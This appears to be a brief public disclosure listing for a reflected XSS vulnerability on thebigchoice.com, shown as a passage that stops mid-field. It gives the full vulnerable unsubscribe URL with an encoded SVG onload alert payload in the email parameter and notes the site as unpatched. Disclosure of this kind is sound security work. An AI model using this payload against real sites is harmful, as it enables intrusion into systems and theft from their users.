thebigchoice.com XSS vulnerability

Vulnerable URL: http://www.thebigchoice.com/unsubscribe.php?email=%22%3E%3CsVg/OnLOaD=alert%28%22XSSPOSED%22%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 623490 Google...